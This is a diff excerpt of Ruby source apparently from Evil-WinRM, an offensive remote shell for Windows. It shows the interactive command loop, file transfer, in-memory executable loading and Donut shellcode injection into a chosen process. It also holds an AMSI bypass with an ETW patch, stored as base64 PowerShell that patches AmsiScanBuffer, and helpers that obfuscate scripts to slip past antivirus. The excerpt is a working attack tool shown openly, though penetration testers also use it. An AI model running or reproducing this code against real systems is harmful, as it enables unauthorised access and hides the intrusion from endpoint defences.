+              paths.grep(/^#{Regexp.escape(str)}/i)
+            when Readline.line_buffer =~ /Donut-Loader -process_id.*/i
+              $DONUTPARAM2.grep(/^#{Regexp.escape(str)}/i) unless str.nil?
+            when Readline.line_buffer =~ /Donut-Loader.*/i
+              $DONUTPARAM1.grep(/^#{Regexp.escape(str)}/i) unless str.nil?
+            when Readline.line_buffer =~ /^upload.*/i
+              test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
+              if test_s.count(' ') < 2
+                self.paths(str) || []
+              else
+                complete_path(str, shell) || []
+              end
+            when Readline.line_buffer =~ /^download.*/i
+              test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
+              if test_s.count(' ') < 2
+                complete_path(str, shell) || []
+              else
+                self.paths(str) || []
+              end
+            when (Readline.line_buffer.empty? || !(Readline.line_buffer.include?(' ') || Readline.line_buffer =~ %r{^"?(\./|\.\./|[a-z,A-Z]:/|~/|/)}))
+              result = $COMMANDS.grep(/^#{Regexp.escape(str)}/i) || []
+              result.concat(@functions.grep(/^#{Regexp.escape(str)}/i))
+              result.uniq
+            else
+              result = []
+              result.concat(complete_path(str, shell) || [])
+              result
+            end
+          end
+
+          Readline.completion_proc = completion
+          Readline.completion_append_character = ''
+          Readline.completion_case_fold = true
+          Readline.completer_quote_characters = '"'
+
+          # Configure Ctrl+L to clear screen
+          if Readline.respond_to?(:emacs_editing_mode)
+            Readline.emacs_editing_mode
+          end
+
+          # Set up Ctrl+L binding to clear screen
+          begin
+            if Readline.respond_to?(:bind_key)
+              Readline.bind_key("\C-l") do
+                clear_screen
+                Readline.refresh_line
+                nil
+              end
+            end
+          rescue => e
+            # If binding fails, Ctrl+L will work at terminal level
+          end
+
+          # Load history for this host/user
+          load_history
+
+          until command == 'exit' do
+            begin
+              pwd = shell.run('(get-location).path').output.strip
+            rescue => e
+              # Handle connection/timeout errors when getting pwd
+              error_msg = e.message.to_s.downcase
+              if error_msg.include?('timeout') || error_msg.include?('connection') ||
+                 error_msg.include?('closed') || error_msg.include?('broken') ||
+                 e.class.to_s.include?('Timeout') || e.class.to_s.include?('Connection')
+                puts
+                print_message("Connection timeout or error occurred: #{e.class} - #{e.message}", TYPE_ERROR, true, $logger)
+                print_message("Cleaning up and exiting...", TYPE_WARNING, true, $logger)
+                # Clean up KRB5CCNAME before exiting
+                begin
+                  if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
+                    ENV['KRB5CCNAME'] = $original_krb5ccname
+                  elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
+                    ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
+                  end
+                rescue => cleanup_error
+                  # Ignore cleanup errors
+                end
+                custom_exit(1, false)
+              else
+                # For other errors, try to continue with a default pwd
+                pwd = "C:\\"
+              end
+            end
+
+            if $colors_enabled
+              command = Readline.readline( "#{colorize('*Evil-WinRM*', 'red')}#{colorize(' PS ', 'yellow')}#{pwd}> ", true)
+            else
+              command = Readline.readline("*Evil-WinRM* PS #{pwd}> ", true)
+            end
+
+            # Handle Ctrl+L if it returns as empty or special character
+            if command == "\f" || (command.nil? && Readline.line_buffer.empty?)
+              clear_screen
+              command = ''
+              next
+            end
+
+            # Save command to history file
+            save_to_history(command) if command && !command.strip.empty?
+
+            $logger&.info("*Evil-WinRM* PS #{pwd} > #{command}")
+
+            if command.start_with?('upload')
+              if docker_detection
+                print_message('Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command', TYPE_WARNING, true, $logger)
+              end
+              begin
+                source_s = ""
+                dest_s = ""
+                paths = get_paths_from_command(command, pwd)
+
+                if paths.length == 2
+                  dest_s = paths.pop
+                  source_s = paths.pop
+                elsif paths.length == 1
+                  source_s = paths.pop
+                end
+
+                # Resolve relative paths correctly, including paths with ../
+                unless source_s.match(/^[a-zA-Z]:[\\\/]/) || source_s.match(/^\/\//)
+                  # If it's a relative path, expand it from current directory
+                  source_s = File.expand_path(source_s, Dir.pwd)
+                end
+
+                source_expr_i = source_s.index(/(\*\.|\*\*|\.\*|\*)/) || -1
+
+                if dest_s.empty?
+                  if source_expr_i == -1
+                    dest_s = "#{pwd}\\#{extract_filename(source_s)}"
+                  else
+                    index_last_folder = source_s.rindex(/[\/]/, source_expr_i )
+                    dest_s = pwd
+                  end
+                end
+
+                unless dest_s.match(/^[a-zA-Z]:[\\\/]/) then
+                  dest_s = "#{pwd}\\#{dest_s.gsub(/^([\\\/]|\.\/)/, '')}"
+                end
+
+                if extract_filename(source_s).empty?
+                  print_message("A filename must be specified!", TYPE_ERROR, true, $logger)
+                else
+                  source_s = source_s.gsub("\\", "/") unless Gem.win_platform?
+                  dest_s = dest_s.gsub("/", "\\")
+                  sources = []
+
+                  if source_expr_i == -1
+                    # Validate file exists and is readable before upload
+                    unless File.exist?(source_s)
+                      raise "Source file does not exist: #{source_s}"
+                    end
+                    unless File.readable?(source_s)
+                      raise "Source file is not readable: #{source_s}"
+                    end
+                    sources.push(source_s)
+                  else
+                    Dir[source_s].each do |filename|
+                      sources.push(filename) if File.exist?(filename) && File.readable?(filename)
+                    end
+                    if sources.length > 0
+                      shell.run("mkdir #{dest_s} -ErrorAction SilentlyContinue")
+                    else
+                      raise "There are no files to upload at #{source_s}"
+                    end
+                  end
+
+                  print_message("Uploading #{source_s} to #{dest_s}", TYPE_INFO, true, $logger)
+                  upl_result = file_manager.upload(sources, dest_s) do |bytes_copied, total_bytes, x, y|
+                    progress_bar(bytes_copied, total_bytes)
+                    if bytes_copied == total_bytes
+                      print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA, true, $logger)
+                    end
+                  end
+                  print_message('Upload successful!', TYPE_INFO, true, $logger)
+                end
+              rescue StandardError => e
+                $logger.info("#{e}: #{e.backtrace}") unless $logger.nil?
+                print_message('Upload failed. Check filenames or paths: ' + e.to_s, TYPE_ERROR, true, $logger)
+              ensure
+                command = ''
+              end
+            elsif command.start_with?('download')
+              if docker_detection
+                print_message('Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command', TYPE_WARNING, true, $logger)
+              end
+              begin
+                dest = ""
+                source = ""
+                paths = get_paths_from_command(command, pwd)
+
+                if paths.length == 2
+                  dest = paths.pop
+                  source = paths.pop
+                else
+                  source = paths.pop
+                  dest = ""
+                end
+
+                if source.match(/^\.[\\\/]/)
+                  source = source.gsub(/^\./, "")
+                end
+                unless source.match(/^[a-zA-Z]:[\\\/]/) then
+                  source = pwd  + '\\' + source.gsub(/^[\\\/]/, '')
+                end
+
+                source_expr_i = source.index(/(\*\.|\*\*|\.\*|\*)/) || -1
+                if dest.empty?
+                  if source_expr_i == -1
+                    dest = "#{extract_filename(source)}"
+                  else
+                    index_last_folder = source.rindex(/[\\\/]/, source_expr_i)
+                    dest = "#{extract_filename(source[0..index_last_folder])}"
+                  end
+                end
+
+                if dest.match?(/^(\.[\\\/]|\.)$/)
+                  dest = "#{extract_filename(source)}"
+                end
+
+                if extract_filename(source).empty?
+                  print_message("A filename or folder must be specified!", TYPE_ERROR, true, $logger)
+                else
+                  size = filesize(shell, source)
+                  source = source.gsub("/", "\\") if Gem.win_platform?
+                  dest = dest.gsub("\\", "/") unless Gem.win_platform?
+                  print_message("Downloading #{source} to #{dest}", TYPE_INFO, true, $logger)
+                  downloaded = file_manager.download(source, dest, size: size) do |index, size|
+                    progress_bar(index, size)
+                  end
+                  if downloaded != false
+                    print_message('Download successful!', TYPE_INFO, true, $logger)
+                  else
+                    print_message('Download failed. Check filenames or paths', TYPE_ERROR, true, $logger)
+                  end
+                end
+              rescue StandardError => e
+                print_message('Download failed. Check filenames or paths: ' + e.to_s, TYPE_ERROR, true, $logger)
+              ensure
+                command = ''
+              end
+            elsif command.start_with?('Invoke-Binary')
+              begin
+                invoke_Binary = command.tokenize
+                command = ''
+                if !invoke_Binary[1].to_s.empty?
+                  load_executable = invoke_Binary[1]
+                  load_executable = File.binread(load_executable)
+                  load_executable = Base64.strict_encode64(load_executable)
+                  if !invoke_Binary[2].to_s.empty?
+                    output = shell.run("Invoke-Binary #{load_executable} ,#{invoke_Binary[2]}")
+                    puts(output.output)
+                  elsif invoke_Binary[2].to_s.empty?
+                    output = shell.run("Invoke-Binary #{load_executable}")
+                    puts(output.output)
+                  end
+                elsif (output = shell.run('Invoke-Binary'))
+                  puts(output.output)
+                end
+              rescue StandardError => e
+                print_message('Check filenames', TYPE_ERROR, true, $logger)
+              end
+            elsif command.start_with?('Donut-Loader')
+              begin
+                donut_Loader = command.tokenize
+                command = ''
+                unless donut_Loader[4].to_s.empty? then
+                    pid = donut_Loader[2]
+                    load_executable = donut_Loader[4]
+                    load_executable = File.binread(load_executable)
+                    load_executable = Base64.strict_encode64(load_executable)
+                    output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
+                else
+                    output = shell.run("Donut-Loader")
+                end
+                print(output.output)
+                $logger&.info(output.output)
+              rescue StandardError
+                print_message('Check filenames', TYPE_ERROR, true, $logger)
+              end
+            elsif command.start_with?('services')
+              command = ''
+              output = shell.run('$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath  ; foreach ($servicio in $servicios  ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ;  $Servicios_object }')
+              print(output.output.chomp)
+              $logger&.info(output.output.chomp)
+            elsif command.start_with?(*@functions)
+              silent_warnings do
+                load_script = $scripts_path + command
+                command = ''
+                load_script = load_script.gsub(' ', '')
+                load_script = File.binread(load_script)
+                load_script = Base64.strict_encode64(load_script)
+                script_split = load_script.scan(/.{1,5000}/)
+                script_split.each do |item|
+                  output = shell.run("$a += '#{item}'")
+                end
+
+                output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
+                output = shell.run('$a = $null')
+              end
+            elsif command.start_with?('menu')
+              command = ''
+              silent_warnings do
+                if @Bypass_4MSI_loaded
+                  unless @psLoaded
+                      print_message("Bypass-4MSI is loaded. Trying to load utilities", TYPE_INFO, true, $logger)
+                      shell.run(donuts)
+                      shell.run(invokeBin)
+                      shell.run(dllloader)
+                      @psLoaded = true
+                  end
+                end
+                outputs = load_powershell(shell, menu, 2)
+                puts(get_banner)
+                puts
+                output = shell.run($MENU_CMD)
+                autocomplete = output.output || ""
+                autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
+                autocomplete = autocomplete || ""
+                assemblyautocomplete = shell.run($SHOW_GLOBAL_METHODS_CMD).output.chomp
+                assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
+                unless assemblyautocomplete.to_s.empty?
+                  $LISTASSEMNOW = assemblyautocomplete.split("\n")
+                  $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
+                end
+                $LIST2 = autocomplete.split("\n")
+                $LIST = $LIST + $LIST2
+                $COMMANDS = $COMMANDS + $LIST2
+                $COMMANDS = $COMMANDS.uniq
+                cmdlets = ""
+                if !$LIST2.nil? && !$LIST2.empty?
+                  cmdlets = '[+] ' + $LIST2.join("\n").gsub(/\n/,"\n[+] ") + "\n"
+                end
+                message_output = cmdlets  + '[+] ' + $CMDS.join("\n").gsub(/\n/,"\n[+] ") + "\n\n"
+                puts(message_output)
+                $logger&.info(message_output)
+              end
+            elsif command == 'Bypass-4MSI'
+              command = ''
+              timeToWait = (time + 20) - Time.now.to_i
+              if timeToWait.positive?
+                print_message('AV could be still watching for suspicious activity. Waiting for patching...', TYPE_WARNING, true, $logger)
+                sleep(timeToWait)
+              end
+              unless @Bypass_4MSI_loaded
+                load_Bypass_4MSI(shell)
+                load_ETW_patch(shell)
+                @Bypass_4MSI_loaded = true
+              end
+            elsif command.start_with?('ai:')
+              if has_llm_params
+                prompt = command.split(':')[1]
+                command_generated = process_message_llm(prompt)
+                unless command_generated.nil? || command_generated.empty?
+                  while true
+                    print_message('Do you want to execute or [k]eep the generated command/s? [y/N/k] ', TYPE_WARNING, true, $logger)
+                    answer_command = Readline.readline().chomp
+                    case answer_command.downcase
+                    when 'y', 'yes'
+                      command = command_generated
+                      Readline::HISTORY.push(command) if $llm_history
+                      break
+                    when 'k', 'keep'
+                      Readline::HISTORY.push(command_generated)
+                      command = ""
+                      print_message('LLM Command kept in history: Access to it using ↑ arrow.', TYPE_INFO, true, $logger)
+                      break
+                    when 'n', 'no', ''
+                      print_message('Skipping commands generated by LLM', TYPE_INFO, true, $logger)
+                      command = ""
+                      break
+                    end
+                  end
+                else
+                  command = ""
+                end
+              else
+                command = ""
+                print_message('No LLM options provided. Please refer to the --help option to find the required parameters for using LLM', TYPE_WARNING, true, $logger)
+              end
+            elsif command.strip.downcase == 'clear' || command.strip.downcase == 'cls'
+              command = ''
+              clear_screen
+            end
+
+            begin
+              output = shell.run(command) do |stdout, stderr|
+                stdout&.each_line do |line|
+                  $stdout.puts(line.rstrip)
+                end
+                $stderr.print(stderr)
+              end
+
+              next unless !$logger.nil? && !command.empty?
+              output_logger = ''
+              output.output.each_line do |line|
+                output_logger += "#{line.rstrip!}\n"
+              end
+              $logger.info(output_logger)
+            rescue => e
+              # Handle connection/timeout errors gracefully
+              error_msg = e.message.to_s.downcase
+              if error_msg.include?('timeout') || error_msg.include?('connection') ||
+                 error_msg.include?('closed') || error_msg.include?('broken') ||
+                 e.class.to_s.include?('Timeout') || e.class.to_s.include?('Connection')
+                puts
+                print_message("Connection timeout or error occurred: #{e.class} - #{e.message}", TYPE_ERROR, true, $logger)
+                print_message("Cleaning up and exiting...", TYPE_WARNING, true, $logger)
+                # Clean up KRB5CCNAME before exiting
+                begin
+                  if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
+                    ENV['KRB5CCNAME'] = $original_krb5ccname
+                  elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
+                    ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
+                  end
+                rescue => cleanup_error
+                  # Ignore cleanup errors
+                end
+                custom_exit(1, false)
+              else
+                # Re-raise other errors
+                raise
+              end
+            end
+          end
+        rescue Errno::EACCES => e
+          puts
+          print_message("An error of type #{e.class} happened, message is #{e.message}", TYPE_ERROR, true, $logger)
+          retry
+        rescue Interrupt
+          puts
+          print_message('Press "y" to exit, press any other key to continue', TYPE_WARNING, true, $logger)
+          if $stdin.getch.downcase == 'y'
+            custom_exit(130)
+          else
+            retry
+          end
+        end
+
+        custom_exit(0)
+      end
+    rescue SystemExit
+    rescue SocketError
+      print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    rescue Exception => e
+      # Check if it's a Kerberos ticket expired error
+      error_class = e.class.to_s
+      error_message = e.message.to_s
+
+      # Detect GSSAPI/GSS errors related to expired tickets
+      error_message_lower = error_message.downcase
+      is_gss_error = (error_class.include?('GSSAPI') || error_class.include?('GssApi') || error_class.include?('GSS'))
+      is_expired_error = (error_message_lower.include?('ticket expired') ||
+                          (error_message_lower.include?('expired') && error_message_lower.include?('ticket')) ||
+                          (error_message_lower.include?('kerberos') && error_message_lower.include?('expired')))
+
+      if is_gss_error && is_expired_error
+        print_message("Kerberos ticket expired. The ticket file provided is no longer valid. Please generate a new Kerberos ticket and try again.", TYPE_ERROR, true, $logger)
+        # Clean up KRB5CCNAME before exiting
+        begin
+          if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
+            ENV['KRB5CCNAME'] = $original_krb5ccname
+          elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
+            ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
+          end
+        rescue => cleanup_error
+          # Ignore cleanup errors
+        end
+        custom_exit(1, false)
+      else
+        print_message("An error of type #{e.class} happened, message is #{e.message}", TYPE_ERROR, true, $logger)
+        custom_exit(1)
+      end
+    end
+  end
+
+  def get_banner
+    Base64.decode64('DQoNCiAgICwuICAgKCAgIC4gICAgICApICAgICAgICAgICAgICAgIiAgICAgICAgICAgICwuICAgKCAgIC4gICAgICApICAgICAgIC4gICANCiAgKCIgICggICkgICknICAgICAsJyAgICAgICAgICAgICAoYCAgICAgJ2AgICAgKCIgICAgICkgICknICAgICAsJyAgIC4gICwpICANCi47ICkgICcgKCggKCIgKSAgICA7KCwgICAgICAuICAgICA7KSAgIiAgKSIgIC47ICkgICcgKCggKCIgKSAgICk7KCwgICApKCggICANCl8iLixfLC5fXykuLCkgKC4uXyggLl8pLCAgICAgKSAgLCAoLl8uLiggJy4uXyIuXywgLiAnLl8pXyguLixfKF8iLikgXyggXycpICANClxfICAgX19fX18vX18gIF98X198ICB8ICAgICgoICAoICAvICBcICAgIC8gIFxfX3wgX19fX1xfX19fX18gICBcICAvICAgICBcICANCiB8ICAgIF9fKV9cICBcLyAvICB8ICB8ICAgIDtfKV8nKSBcICAgXC9cLyAgIC8gIHwvICAgIFx8ICAgICAgIF8vIC8gIFwgLyAgXCANCiB8ICAgICAgICBcXCAgIC98ICB8ICB8X18gL19fX19fLyAgXCAgICAgICAgL3wgIHwgICB8ICBcICAgIHwgICBcLyAgICBZICAgIFwNCi9fX19fX19fICAvIFxfLyB8X198X19fXy8gICAgICAgICAgIFxfXy9cICAvIHxfX3xfX198ICAvX19fX3xfICAvXF9fX198X18gIC8NCiAgICAgICAgXC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgXC8gICAgICAgXC8gICAgICAgICBcLw0KDQogICAgICAgQnk6IEN5YmVyVmFjYSwgT3NjYXJBa2FFbHZpcywgSmFyaWxhb3MsIEFyYWxlNjEgQEhhY2twbGF5ZXJzDQo=')
+  end
+
+  def random_string(len = 3)
+    Array.new(len) { [*'0'..'9', *'A'..'Z', *'a'..'z'].sample }.join
+  end
+
+  def random_case(word)
+    word.chars.map { |c| (rand 2).zero? ? c : c.upcase }.join
+  end
+
+  def get_char_expresion(the_char)
+    rand_val = rand(10_000) + rand(100)
+    val = the_char.ord + rand_val
+    char_val = random_case('char')
+
+    "[#{char_val}](#{val}-#{rand_val})"
+  end
+
+  def get_byte_expresion(the_char)
+    rand_val = rand(30..120)
+    val = the_char.ord + rand_val
+    char_val = random_case('char')
+    byte_val = random_case('byte')
+
+    "[#{char_val}]([#{byte_val}] 0x#{val.to_s(16)}-0x#{rand_val.to_s(16)})"
+  end
+
+  def get_char_raw(the_char)
+    "\"#{the_char}\""
+  end
+
+  def generate_random_type_string(to_randomize)
+    result = ''
+    to_randomize.chars.each { |c| result += "+#{(rand 2) == 0 ? (rand 2) == 0 ? self.get_char_expresion(c): self.get_byte_expresion(c) : self.get_char_expresion(c)}"}
+    result[1..-1]
+  end
+
+  def replace_placeholder(template, placeholder, str_value)
+    result = template.gsub(placeholder, str_value)
+    result
+  end
+
+  def replace_placeholder_string(template, placeholder, str_value)
+    result = replace_placeholder(template, placeholder, generate_random_type_string(str_value))
+    result
+  end
+
+  def replace_placeholder_var(template, var_placeholder)
+    var_name = random_string((5..21).to_a.sample)
+    result = replace_placeholder(template, var_placeholder, var_name)
+    result
+  end
+
+  def replace_func_var_name(template, function_name, replace_with)
+    if replace_with.length == 0
+      replace_with = random_string((15..32).to_a.sample)
+    end
+    a_mark = ">><"
+    func_placeholder = "#{a_mark}#{function_name}#{a_mark}"
+    result = replace_placeholder(template, func_placeholder, replace_with)
+    result
+  end
+
+  def replace_string_scan_part(template, begin_i, end_i, mark)
+    to_replace = template[begin_i..end_i]
+    to_place = to_replace.gsub(mark, "")
+    first_t = false
+    result = ""
+    to_place.split("|").each do |word|
+      if ! first_t
+        first_t = true
+        result += generate_random_type_string(word)
+      else
+        result += "+\"|\"+" + generate_random_type_string(word)
+      end
+
+    end
+    template.gsub!(to_replace, result)
+  end
+
+  def replace_with_string_scan(template)
+    result = template
+    a_mark = "<><"
+    begin_i = template.index(a_mark)
+    last_i = 0
+    if !begin_i.nil? && begin_i >= 0
+      next_i = template.index(a_mark, begin_i + 1)
+      while !next_i.nil? && !begin_i.nil? && next_i > begin_i && next_i + 2 <= template.length
+        next_i += 2
+        last_i = next_i
+        replace_string_scan_part(result, begin_i, next_i, a_mark)
+        begin_i =  template.index(a_mark, next_i)
+        if !begin_i.nil? && begin_i >= 0
+          next_i = template.index(a_mark, begin_i + 1)
+        else
+          next_i = -1
+        end
+      end
+    end
+    result
+  end
+
+  def rand_casing_keywords(template)
+    $WORDS_RANDOM_CASE.each { |w| template.gsub!(w.to_s, random_case(w)) }
+    template
+  end
+
+  def get_menu
+    menu_template = 'ZnVuY3Rpb24gPj48RlVOQ1RJT04yPj48IHsKICAgIGxzIGZ1bmN0aW9uOiB8IFdoZXJlLU9iamVjdCB7CiAgICAgICAgJF8ubmFtZSAtbm90bWF0Y2ggIl4oP2kpIisiKD4+PEZVTkNUSU9ONT4+PHxDb252ZXJ0RnJvbS1TZGRsU3RyaW5nfEdldC1WZXJifEltcG9ydFN5c3RlbU1vZHVsZXN8aGVscHxjZHxvc3MpIiAtYW5kCiAgICAgICAgKCRfLm5hbWUpLkxlbmd0aCAtZ2UgIjQiCiAgICB9Cn0KCmZ1bmN0aW9uID4+PEZVTkNUSU9OND4+PCB7CiAgICA+PjxGVU5DVElPTjI+PjwgfCBXaGVyZS1PYmplY3QgewogICAgICAgICRfLm5hbWUgLW5vdG1hdGNoICJeKD9pKSIrIihDbGVhci1Ib3N0fEZvcm1hdC1IZXh8R2V0LUZpbGVIYXNofG1rZGlyfFRhYkV4cGFuc2lvbjJ8Pj48RlVOQ1RJT04xPj48KSIKICAgIH0KfQoKZnVuY3Rpb24gPj48RlVOQ1RJT04zPj48IHsKICAgID4+PEZVTkNUSU9OND4+PCB8IFdoZXJlLU9iamVjdCB7IAogICAgICAgICRfLm5hbWUgLW5vdG1hdGNoICJeKD9pKSIrIihtb3JlfE5ldy1HdWlkfE5ldy1UZW1wb3JhcnlGaWxlfD4+PEZVTkNUSU9OMj4+PHw+PjxGVU5DVElPTjM+PjwpIgogICAgfQp9CgpmdW5jdGlvbiA+PjxGVU5DVElPTjU+PjwgewogICAgPj48RlVOQ1RJT04zPj48IHwgV2hlcmUtT2JqZWN0IHsgCiAgICAgICAgJF8ubmFtZSAtbm90bWF0Y2ggIl4oP2kpIisiKD4+PEZVTkNUSU9ONj4+PHxJbXBvcnQtUG93ZXJTaGVsbERhdGFGaWxlfE1haW58UGF1c2V8cHJvbXB0fD4+PEZVTkNUSU9OND4+PCkiCiAgICB9Cn0KCmZ1bmN0aW9uID4+PEZVTkNUSU9ONj4+PCB7CiAgICA+PjxGVU5DVElPTjU+PjwgfCBTZWxlY3QtT2JqZWN0IC1Qcm9wZXJ0eSBOYW1lIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICIkKCRfLk5hbWUpIgogICAgfQp9CgpmdW5jdGlvbiA+PjxGVU5DVElPTjE+PjwgewoKICAgICRnbG9iYWw6c2hvd21ldGhvZHMKfQo='
+    result = Base64.decode64(menu_template)
+    show_methods_loaded = "Get-#{random_string((5..15).to_a.sample)}"
+    menu_function_name = "Get-#{random_string((4..17).to_a.sample)}"
+    random_func1 = "Get-#{random_string((7..17).to_a.sample)}"
+    random_func2 = "Get-#{random_string((7..17).to_a.sample)}"
+    random_func3 = "Get-#{random_string((7..17).to_a.sample)}"
+    random_func4 = "Get-#{random_string((7..17).to_a.sample)}"
+    result = replace_func_var_name(result, "FUNCTION1", show_methods_loaded)
+    result = replace_func_var_name(result, "FUNCTION2", random_func1)
+    result = replace_func_var_name(result, "FUNCTION3", random_func2)
+    result = replace_func_var_name(result, "FUNCTION4", random_func3)
+    result = replace_func_var_name(result, "FUNCTION5", random_func4)
+    result = replace_func_var_name(result, "FUNCTION6", menu_function_name)
+    result = replace_with_string_scan(result)
+    result = rand_casing_keywords(result)
+    $SHOW_GLOBAL_METHODS_CMD = show_methods_loaded
+    $MENU_CMD = menu_function_name
+    result
+  end
+
+  def get_Bypass_4MSI
+    bypass_template = 'ZnVuY3Rpb24gPj48RlVOQ1RJT04xPj48IHsKICAgIFBhcmFtICg+PjxWQVIxPj48LCA+PjxWQVIyPj48KQogICAgPj48VkFSMz4+PCA9IChbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfAogICAgV2hlcmUtT2JqZWN0IHsgCiAgICAgICAgJF8uR2xvYmFsQXNzZW1ibHlDYWNoZSAtQW5kICRfLkxvY2F0aW9uLlNwbGl0KCIiKzw+PFw8PjwrIiIpWy0xXS5FcXVhbHMoIiIrPD48U3lzdGVtLmRsbDw+PCsiIikKICAgICB9KS5HZXRUeXBlKCJNaWNyb3NvZnQuIis8PjxXaW4zMi5Vbjw+PCsic2FmZU5hdGl2ZU1ldGhvZHMiKQogICAgPj48VkFSND4+PD1AKCkKICAgID4+PFZBUjM+PjwuR2V0TWV0aG9kcygpIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgIElmKCRfLk5hbWUgLWxpa2UgIkdlKlAqb2MqIis8PjxkZHJlczw+PCsicyIpIHsKICAgICAgICAgICAgPj48VkFSND4+PCs9JF8KICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gPj48VkFSND4+PFswXS5JbnZva2UoJG51bGwsIEAoKD4+PFZBUjM+PjwuR2V0TWV0aG9kKCIiKzw+PEdldE08PjwrIm9kdWwiKzw+PGVIYW48PjwrImRsZSIpKS5JbnZva2UoJG51bGwsIEAoPj48VkFSMT4+PCkpLCA+PjxWQVIyPj48KSkKfQojanVtcAoKZnVuY3Rpb24gPj48RlVOQ1RJT04yPj48IHsKICAgIFBhcmFtICgKICAgICBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSA+PjxWQVI1Pj48LCBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSldIFtUeXBlXSA+PjxWQVI2Pj48ID0gW1ZvaWRdCiAgICApCiAgICA+PjxWQVIxMj4+PCA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgKICAgICAgICAoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoIiIrPD48UmVmPD48KyJsZWMiKzw+PHRlZERlPD48KyJsZWdhdGUiKSksCiAgICAgICAgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuCiAgICApLkRlZmluZUR5bmFtaWNNb2R1bGUoCiAgICAgICAgIiIrPD48SW5NPD48KyJlbW8iKzw+PHJ5PD48KyJNb2R1bGUiLAogICAgICAgICRmYWxzZQogICAgKS5EZWZpbmVUeXBlKAogICAgICAgICQoIiIrPD48TXlEZWxlZ2F0ZVR5cGU8PjwrIiIpLAogICAgICAgICJDbGFzcywgUHVibGljLCBTZWFsZWQsIEFuc2lDbGFzcywgQXV0b0NsYXNzIiwKICAgICAgICBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXQogICAgKQoKICAgID4+PFZBUjEyPj48LkRlZmluZUNvbnN0cnVjdG9yKAogICAgICAgICJSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYyIsCiAgICAgICAgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCA+PjxWQVI1Pj48CiAgICApLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoIlJ1bnRpbWUsIE1hbmFnZWQiKQoKICAgID4+PFZBUjEyPj48LkRlZmluZU1ldGhvZCgKICAgICAgICAiSW52b2tlIiwKICAgICAgICAiUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcnR1YWwiLAogICAgICAgID4+PFZBUjY+PjwsCiAgICAgICAgPj48VkFSNT4+PAogICAgKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCJSdW50aW1lLCBNYW5hZ2VkIikKICAgIAogICAgcmV0dXJuID4+PFZBUjEyPj48LkNyZWF0ZVR5cGUoKQp9CiNqdW1wCltJbnRQdHJdPj48VkFSNz4+PCA9ID4+PEZVTkNUSU9OMT4+PCAkKCIiKzw+PGFtc2kuZGxsPD48KyIiKSAkKCIiKzw+PEFtc2lTY2FuQnVmZmVyPD48KyIiKQojanVtcAo+PjxWQVI4Pj48ID0gMAojanVtcAo+PjxWQVI5Pj48PVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKAogICAgKD4+PEZVTkNUSU9OMT4+PCAkKCIiKzw+PGtlcm5lbDMyLmRsbDw+PCsiIikgVmlydHVhbFByb3RlY3QpLCAKICAgICg+PjxGVU5DVElPTjI+PjwgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pKQopCiNqdW1wCj4+PFZBUjEwPj48ID0gPj48VkFSOT4+PC5JbnZva2UoPj48VkFSNz4+PCwgMywgMHg0MCwgW3JlZl0+PjxWQVI4Pj48KQojanVtcAo+PjxWQVIxMT4+PCA9IFtCeXRlW11dICgweGI4LDB4MzQsMHgxMiwweDA3LDB4ODAsMHg2NiwweGI4LDB4MzIsMHgwMCwweGIwLDB4NTcsMHhjMykKI2p1bXAKPj48VkFSMTA+PjwgPSBbU3lzdGVtLlJ1bnRpbWUuSW5